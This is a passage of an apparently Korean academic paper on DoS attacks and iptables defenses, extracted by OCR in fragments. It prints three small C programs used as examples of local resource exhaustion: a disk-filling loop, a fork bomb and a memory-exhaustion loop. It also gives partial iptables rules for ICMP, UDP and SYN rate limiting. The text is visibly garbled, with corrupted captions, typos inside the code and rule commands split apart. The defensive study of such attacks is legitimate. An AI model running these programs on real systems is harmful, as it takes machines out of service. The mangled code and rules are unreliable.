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[Abstract]

Although a variety of preparation methods for DoS attacks and DDoS attacks are presented, it is still being exploited, the vulnerability
with networks and protocols. In particular, When was built environment that can be used anywhere in the Internet, Internet of Things is
entering era. Thus, the conventional computer, as well as household appliances, etc. DoS attack targets or are likely to do the attacker role
is increasing. In this paper, we first find out about the type and characteristics of DoS attacks. Open source operating system, Linux has

iptables that packet filtering tool and firewall programs. Using iptables to set the policy ruleset against DoS attacks.
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Table 1. Types of DoS attacks.
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4) Teardrop attack
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[root@www ~]# cat disk.c
#include <unistd.h>
#include <sys/file.h>
main () {

int fd;

char buf[1000];
fd=creat("/root/disk",0777);
while(1)

write(fd,buf,sizeof(buf));

1

[root@www ~1#
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Fig. 1. Examples of disk exhaustion attack.
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[root@www ~]# cat process.c
#include <unistd.h>

main_() {
while(1)
fork();
return(@);
}

[root@www ~]#

a8 2. Z=MA T2 379 of

Fig. 2. Examples of process exhaustion attack.
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root@www:i~

oiUF) HEE 22|V) HAS) HOET) =Z5ZHH)
[root@www ~]# cat memory.c
#include <stdio.h>
main () {

char *m;

while(1l)

m=malloc(1000);

}

[root@www ~]#

J8 3. oj=al 2z 3429 o
Fig. 3. Examples of memory exhaustion attack.
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Fig. 4. Examples of DDoS attacks.
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Table 2. DDoS attack tool.
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# iptables -N ICMP

# iptables -A INPUT -p icmp -j ICMP
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# iptables -N UDP
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# iptables —A INPUT —p tcp --dport 80 --syn —m connlimit
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# iptables —A INPUT —p tcp --dport 80 —m recent --update
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--seconds 1 --hitcount 10 -j DROP
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